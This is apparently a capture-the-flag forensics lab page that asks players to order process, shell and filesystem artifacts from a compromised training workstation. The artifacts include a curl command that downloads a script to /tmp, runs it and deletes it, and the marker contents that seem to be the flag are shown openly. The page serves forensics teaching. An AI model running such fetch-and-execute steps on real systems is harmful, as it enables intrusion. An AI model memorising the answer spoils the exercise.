SGSPECTER.GHOSTCOMMUNITY EDITION
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// LAB 04 · Forensics

Memory Echo

A disposable workstation was compromised during a controlled exercise.

Hard500 PTSFORENSICS · LINUX · TIMELINE
// BRIEFING

MISSION

A disposable workstation was compromised during a controlled exercise.

OBJECTIVE

Reconstruct the event sequence from process, shell and filesystem artifacts.

BOUNDARY

This challenge uses SPECTER.GHOST training material only. Do not target the public portal or systems outside assets explicitly supplied by the lab.

// EVIDENCE PACKET

ARTIFACTS

09:41:02 shell_history: curl http://training.local/update.sh -o /tmp/u
09:41:05 process: /bin/sh /tmp/u
09:41:06 fs: CREATE /tmp/.cache/.marker
09:41:08 process: rm /tmp/u
09:42:11 fs: READ /tmp/.cache/.marker
marker contents: timeline_beats_guessing
HINT 01

Order the artifacts chronologically. The final surviving marker is evidence, not a command to execute.

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